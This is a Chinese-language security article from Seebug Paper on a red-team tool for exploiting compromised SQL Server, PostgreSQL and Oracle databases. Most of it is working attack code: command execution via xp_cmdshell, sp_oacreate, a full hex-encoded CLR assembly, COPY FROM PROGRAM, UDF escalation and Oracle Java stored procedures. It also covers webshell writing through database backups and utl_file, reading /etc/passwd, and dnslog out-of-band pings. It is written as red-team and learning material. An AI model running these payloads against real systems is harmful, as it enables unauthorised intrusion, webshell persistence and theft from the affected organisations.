作者:Ryze-T
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
0x00 前言
起因是在某紅隊項目中,獲取到Oracle數據庫密碼后,利用Github上的某數據庫利用工具連接后,利用時執行如 tasklist /svc 、net user 等命令時出現 ORA-24345: 出現截斷或空讀取錯誤,且文件管理功能出現問題,無法上傳webshell,因此萌生了重寫利用工具的想法。
大概耗時十天,順帶手把 postgresql 和 sql server 這兩個護網中的常見數據庫的利用也寫了。
因為要做圖形化,所以選擇使用 C#。
github地址:Ryze-T/Sylas: 數據庫綜合利用工具 (github.com)
0x01 Sql Server
1.1 文件查看
目錄查看
sql server 的目錄查看比較簡單,代碼為:
sqlCmd.CommandText = String.Format("exec xp_dirtree '{0}',1,1",path);
第一個 1 指的是目錄深度,只看查詢文件夾下的,不再列出更深層次的目錄,第二個 1 指的是將文件也列出來

文件查看
文件查看用的是 openrowset(),在官方文檔中有一句話,使用 BULK 可以從文件中讀取數據,格式如下:
SELECT * FROM OPENROWSET(
BULK 'C:\DATA\inv-2017-01-19.csv',
SINGLE_CLOB) AS DATA;
這里有一個 SINGLE_CLOB,同樣可選的選項還有 SINGLE_BLOB 和 SINGLE_NCLOB,三個的含義是讀出的文件內容以 varchar、varbinary 和 nvarchar 三種格式返回,在 C# 里常用的讀取數據庫查詢返回結果的是語句是
SqlDataReader reader = sqlCmd.ExecuteReader();
while (reader.Read())
{
res = reader.GetString(0);
}
因此用 SINGLE_BLOB 可以滿足 GetString()。

1.2 命令執行
命令執行的方法有這里使用了三種:xp_cmdshell、sp_oacreate、CLR。
xp_cmdshell
老生常談,最通用的方法。
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec master..xp_cmdshell 'whoami'

sp_oacreate
無回顯的方法,也是sqlmap中默認集成的方法之一:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c ping dnslog.cn'
CLR
Microsoft SQL Server 2005之后,微軟實現了對 Microsoft .NET Framework 的公共語言運行時(CLR)的集成。 CLR 集成使得現在可以使用 .NET Framework 語言編寫代碼,從而能夠在 SQL Server 上運行。
編寫過程如下:
在 visual studio 中安裝數據存儲和處理工具集:

新建 sql server 數據庫項目:

在項目屬性中設置創建腳本文件:

在其中編寫代碼后生成,在生成的文件夾下可以看到一個 sql 文件,打開后其中就有將該dll通過十六進制導入到 mssql 中的sql語句:
CREATE ASSEMBLY [execCmd]
AUTHORIZATION [dbo]
FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005045000064860200434309620000000000000000F00022200B023000000C000000040000000000000000000000200000000000800100000000200000000200000400000000000000060000000000000000600000000200000000000003006085000040000000000000400000000000000000100000000000002000000000000000000000100000000000000000000000000000000000000000400000A0020000000000000000000000000000000000000000000000000000342A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000004800000000000000000000002E746578740000006C0B000000200000000C000000020000000000000000000000000000200000602E72737263000000A00200000040000000040000000E00000000000000000000000000004000004000000000000000000000000000000000000000000000000000000000000000000000000000000000480000000200050058220000DC07000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008A00280600000A7201000070721100007002280700000A28020000066F0800000A002A001B300600AF0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0800000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0800000A0000389D00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C15001106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A22518721B000070A22519076F1C00000A13091209282000000AA2251A7253000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0800000A0000067B010000046F1D00000A130A2B00110A2A00011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E0000140300009C03000023537472696E677300000000B00600005C000000235553000C0700001000000023475549440000001C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000C20101000000000006005C01A40206007C01A4020600320191020F00C402000006002603CE010A00460144020E00FF0291020600D501CE0106001602640306001701A4020E00E40291020A00700344020A000F0144020600B001CE010E00ED0191020E00BE0091020E002B0291020600FE01330006000B02330006002400CE01000000002A00000000000100010001001000D3020000150001000100030110000100000015000100040006005A037900482000000000960072007D0001006C2000000000960088001500020038220000000086188B020600040038220000000086188B02060004004122000000008300160082000400000001007A0000000100DE0000000200150300000100240200000200FA0209008B02010011008B02060019008B020A0031008B02060051008B02060061000601100071001F031500690090001B0039008B0206003900DF0132007900D1001B0071008E033700790007031B0079007B033C007900AE00410079009A013C00790071023C0079003F033C0049008B02060089008B02470039005B004D003900390353003900E700060039005F02570099007E005C0039002D0306004100A2005C003900950060002900AE015C004900FB0064004900B7016000A100AE015C0071001F036A0029008B020600590049005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA00200004800000000000000000000000000000000072000000040000000000000000000000700052000000000004000000000000000000000070003D00000000000400000000000000000000007000CE0100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F75747075744461746152656365697665640065786563436D6400636D640052656164546F456E6400436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E6774680065786563436D642E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D70747900000F63006D0064002E00650078006500000920002F006300200000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A0020000000000035D5C552B0F5D241BA64075327476EEC0004200101080320000105200101111104000012350500020E0E0E042001010E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000004343096200000000020000001C010000502A0000500C000052534453CBD23558102A184C9F870C819FD401E801000000433A5C55736572735C746573745C4465736B746F705C436F64655C434C525C65786563436D645C65786563436D645C6F626A5C7836345C44656275675C65786563436D642E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058400000440200000000000000000000440234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004A4010000010053007400720069006E006700460069006C00650049006E0066006F0000008001000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000038000C00010049006E007400650072006E0061006C004E0061006D0065000000650078006500630043006D0064002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000040000C0001004F0072006900670069006E0061006C00460069006C0065006E0061006D0065000000650078006500630043006D0064002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
WITH PERMISSION_SET = UNSAFE;
在執行前打開 CLR并設置數據庫為 trustworthy:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'clr enabled', 1;RECONFIGURE;
alter database master set trustworthy on
然后執行導出的語句,并創建 procedure:
CREATE PROCEDURE [dbo].[SqlCmdExec] @cmd NVARCHAR(MAX) AS EXTERNAL NAME[SqlCmdExec].[StoredProcedures].[SqlCmdExec]
通過執行 EXEC SqlCmdExec 'whoami' 可以做到可回顯的代碼執行:

1.3 寫webshell
寫webshell采用的兩種方法:Log備份和差異備份,這兩種方法其實都屬于有損寫文件,因此其中會包含很多其他字符,因此用來寫webshell合適,用來當做文件上傳的功能不合適,如果想文件上傳最合適的其實還是 Ole Automation Procedures,調用 ADODB.Stream。寫 webshell前兩個就可以滿足,更推薦用 Log備份,體積更小。差異備份和Log備份只要是db_owner 就可以滿足,并不一定需要 dba。
Log 備份
Log 備份需要先更新數據庫為恢復模式,然后創建一個表,提前備份一次后,在表中插入webshell的十六進制,再備份一次,代碼如下:
sqlCmd.CommandText = String.Format("backup database {0} to disk = 'C:/windows/temp/1.bak';", databaseName);
sqlCmd.CommandText = String.Format("alter database {0} set RECOVERY FULL;", databaseName);
sqlCmd.CommandText = String.Format("create table {0}.dbo.test7913(a image);", databaseName);
sqlCmd.CommandText = String.Format("backup log {0} to disk = 'c:/windows/temp/xxx.bak' with init;", databaseName);
sqlCmd.CommandText = String.Format("insert into {0}.dbo.test7913(a) values ({1});", databaseName, webshellCode);
sqlCmd.CommandText = String.Format("backup log {0} to disk = '{1}'; ", databaseName, uploadPath);
工具默認給的十六進制webshell是原版冰蝎3.0的aspx版本webshell,結果如圖:

差異備份
代碼如下:
sqlCmd.CommandText = String.Format("backup database {0} to disk = 'C:/windows/temp/1.bak';", databaseName);
sqlCmd.CommandText = String.Format("create table {0}.[dbo].[test7913] ([cmd] [image]);", databaseName);
sqlCmd.CommandText = String.Format("insert into {0}.dbo.test7913(cmd) values({1});",databaseName,webshellCode);
sqlCmd.CommandText = String.Format("backup database {0} to disk='{1}' WITH DIFFERENTIAL,FORMAT;", databaseName, uploadPath);
結果如上圖。
0x02 Postgresql
postgresql 相對簡單,但是在UDF提權的過程中也有一些坑點
2.1 文件查看
查看目錄
select pg_ls_dir('/')

查看文件
select pg_read_file('/etc/passwd')

2.2 webshell 上傳
string sql = String.Format("copy (select '{1}') to '{0}';",uploadPath,fileContent);

2.3 命令執行
postgresql 的命令執行有兩種,分別是cve-2019-9193和udf提權
CVE-2919-9193
從9.3版本開始,Postgres新增了一個COPY TO/FROM PROGRAM功能,允許數據庫的超級用戶以及pg_read_server_files組中的任何用戶執行操作系統命令
因此利用這個特性可以做到9.3版本后的任意代碼執行,具體代碼實現:
CREATE TABLE cmdExec(cmd_output text);COPY cmdExec FROM PROGRAM 'whoami';SELECT * FROM cmdExec;DROP TABLE IF EXISTS cmdExec;

udf
postgresql的UDF提權跟Mysql有區別,由于在動態鏈接庫的編寫過程中需要 #include <postgres.h>,每個版本的 postgres.h 都不一樣,因此針對每個版本都需要在特定版本的 postgresql-server 環境下重新編譯。正常安裝的 postgresql 并不包含 postgres.h,要安裝 postgresql-server-dev-xx。
代碼在 sqlmap 的 github中,項目名稱叫 udfhack。
編譯時命令是:
gcc hack.c -I server_path -fPIC -shared -o udf.so
strip -sx udf.so
此時需要將 udf.so 傳入到目標機器中,這里采用的是 lo_create 和 lo_export。lo_create 的作用是新建一個大型對象并返回該對象的 oid,lo_export 的作用是導出該對象。對象可以通過 insert 填充內容。
在insert的過程中,需要將 udf.so 分割成 2048b 的若干個文件,轉換成十六進制后使用 insert 插入到對象中,這里要分割的原因是因為每一次的insert最多只能插入 2048 個字節,若不滿會用 0 進行填充。
這里附上之前收藏的文件分割的代碼和文件轉hex的代碼:
## 文件分割
import sys,os
kilobytes = 1024
megabytes = kilobytes*1000
chunksize = int(200*megabytes)#default chunksize
def split(fromfile,todir,chunksize=chunksize):
if not os.path.exists(todir):#check whether todir exists or not
os.mkdir(todir)
else:
for fname in os.listdir(todir):
os.remove(os.path.join(todir,fname))
partnum = 0
inputfile = open(fromfile,'rb')#open the fromfile
while True:
chunk = inputfile.read(chunksize)
if not chunk: #check the chunk is empty
break
partnum += 1
filename = os.path.join(todir,('part%04d'%partnum))
fileobj = open(filename,'wb')#make partfile
fileobj.write(chunk) #write data into partfile
fileobj.close()
return partnum
if __name__=='__main__':
fromfile = input('File to be split?')
todir = input('Directory to store part files?')
chunksize = int(input('Chunksize to be split?'))
absfrom,absto = map(os.path.abspath,[fromfile,todir])
print('Splitting',absfrom,'to',absto,'by',chunksize)
try:
parts = split(fromfile,todir,chunksize)
except:
print('Error during split:')
print(sys.exc_info()[0],sys.exc_info()[1])
else:
print('split finished:',parts,'parts are in',absto)
## file2hex
import binascii,os
fh = open(r"1/part0006", 'rb')
a = fh.read()
hexstr = binascii.b2a_hex(a)
print(hexstr)
SQL實現為:
SELECT lo_create(1234)
insert into pg_largeobject values (1234, 0, decode('...', 'hex'));
insert into pg_largeobject values (1234, 1, decode('...', 'hex'));
SELECT lo_export(1234, '/tmp/test123.so');
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/test123.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id')
部署環境比較麻煩,所以只做了 Linux 下的 postgresql-12 的 udf 提權,作為學習使用

0x03 Oracle
3.1 命令執行
Oracle 命令執行主要使用的是 DBMS_XMLQUERY 和 DBMS_SCHEDULER。
DBMS_XMLQUERY
利用 DBMS_XMLQUERY.newcontext() 可以執行任意 sql 語句,因此在無需堆疊的情況下,通過 select dbms_xmlquery.newcontext(sql) from dual 就可以創建 JAVA source 和 存儲過程實現 JAVA 功能,通過調用可以實現基于JAVA的代碼執行。
創建過程如下:
string sql1 = "select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named \"SysUtil\" as import java.io.*; public class SysUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=\"\";while ((stemp = myReader.readLine()) != null) str +=stemp+\"\\n\";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual";
string sql2 = "select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function SysRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''SysUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual";
實現效果如圖:

但執行 taklist /svc 仍然會出錯,主要是因為在執行命令返回的字符串中存在截斷,某些特定的命令,通過 wmic 查詢也可以實現,因此設計了快速執行按鈕,調用 wmic 實現查詢進程、查看用戶、查看補丁和查看系統版本,如圖:

DBMS_SCHEDULER
DBMS_SCHEDULER 可以定時執行任務,格式如下:
BEGIN DBMS_SCHEDULER.CREATE_JOB(
JOB_NAME=>'xxx',
JOB_TYPE=>'EXECUTABLE',
ENABLED =>TRUE,
AUTO_DROP =>FALSE,
JOB_ACTION=>'{cmd}',
NUMBER_OF_ARGUMENTS => 0)
因此通過此方法可以執行任意命令,但有兩個需要注意的點:
- 無回顯
- 由于執行時并未規定 cmd 路徑,因此執行時輸入的命令應為:ping.exe xxx.dnslog.cn 或 cmd.exe /c echo 1 > 1.txt
由于無回顯,在現在網上流傳的 Oracle 連接工具中都沒有判斷命令是否執行成功的標識。實際上在 CREATE_JOB 后是可以通過
select job_name,state from user_scheduler_jobs where JOB_NAME = 'xxx';
來判斷 JOB 是否創建成功以及是否在運行或者已經運行結束的,因此根據下列邏輯就可以判斷出命令是否成功執行:
while (reader.Read())
{
job_name = reader.GetString(0).ToLower();
job_state = reader.GetString(1).ToLower();
}
if (job_name == "")
{return "0";}
else if (job_state == "running" || job_state == "succeeded")
{return "1";}
else
{return "-1";}
3.2 文件管理
查看目錄
查看目錄采取的也是DBMS_XMLQUERY.newcontext() 創建 JAVA source 和 存儲過程實現 JAVA功能。
string sql1 = "select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named \"FileUtil\" as import java.io.*; public class FileUtil extends Object{public static String filemanager(String path) {String res = \"\";try{File file = new File(path);File[] listFiles = file.listFiles();for (File f : listFiles) {if(f.isDirectory()){res += \"d --> \" + f.getName()+\"\\n\";}else{res += \"f --> \" + f.getName() + \"\\n\";}}return res;}catch(Exception e){return e.toString();}}}'';commit;end;') from dual";
實現如圖:

上傳文件
從根本上來說,由于可以創建 JAVA source,理論上所有的功能都可以通過這個方法來實現,但是這里上傳文件利用的是 utl_file。
Oracle 官方介紹中也說了, utl_file 可以實現讀取或寫入操作系統文本文件,由于使用 utl_file.open() 打開文件最大字符數為32767,因此上傳時最多只能上傳32KB的文本文件。這個功能用來上傳webshell已經是足夠了。

目標路徑只需要填寫需要上傳的文件夾,點擊選擇上傳后可以打開文件夾選定要上傳的文件,上傳后的文件名與打開的文件一致,上傳成功后 Log窗口會有提示:

代碼為:
string sql = "create or replace directory TESTFILE as '" + path + "'";
string sql2 = "DECLARE \nfilehandle utl_file.file_type;\nbegin\nfilehandle := utl_file.fopen('TESTFILE', '" + filename + "', 'w',32767); utl_file.put(filehandle, '" + file + "');utl_file.fclose(filehandle);end; ";
3.3 后續
由于Oracle 特性,可以做到任意JAVA代碼執行,做到這個相當于可以自己寫入JAVA代碼,完成任意功能,現在網上關于 Oracle 連接利用的工具大多數都是采用這一方法。因此工具后續的目標是把這個功能從固定代碼改成可自定義代碼,實現一勞永逸的效果。
0x04 參考
2015_06251711341945.pdf (nsfocus.com.cn)
PostgreSQL入門及提權_weixin_34075268的博客-CSDN博客
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1836/
暫無評論